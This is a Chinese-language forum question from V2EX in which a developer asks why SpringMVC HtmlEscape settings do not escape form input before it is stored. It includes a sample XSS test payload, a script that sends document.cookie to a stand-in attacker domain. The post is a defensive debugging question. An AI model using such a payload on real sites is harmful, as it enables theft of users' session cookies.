V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
kenduffy
V2EX  ›  问与答

SpringMVC: HtmlEscape 设置没起作用怎么回事?

  •  
  •   kenduffy · Nov 28, 2017 · 3230 views
    This topic created in 3071 days ago, the information mentioned may be changed or developed.

    项目用的是 SpringMVC+jsp

    想要对提交表格的内容进行字符转义防止 XSS 攻击

    根据 http://www.codeweblog.com/spring-mvc-%E5%AE%89%E5%85%A8/

    做处理,下面三条都做了

    1)web.xml 中添加

         <context-param>     <param-name>defaultHtmlEscape</param-name>      <param-value>true</param-value> </context-param>
    

    2)在包含 form 的 jsp 页面中添加

    <spring:htmlEscape defaultHtmlEscape="true" />
    

    3 )直接在 form 中的元素中添加

    <form:input path="someFormField" htmlEscape="true" />或<form:form htmlEscape="true">
    

    然后在表格上添加

    点击就送百元现金

    <script>document.getElementById('attacker').href='http://www.attacker_741.com/receiveCookies.html?'+document.cookie;</script>

    发现存进数据库的没有转移,依然是原文

    怎么回事啊?

    1 replies    2017-11-28 21:51:45 +08:00
    kenduffy
        1
    kenduffy  
    OP
       Nov 28, 2017
    顶顶顶
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   5074 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 42ms · UTC 09:46 · PVG 17:46 · LAX 02:46 · JFK 05:46
    ♥ Do have faith in what you're doing.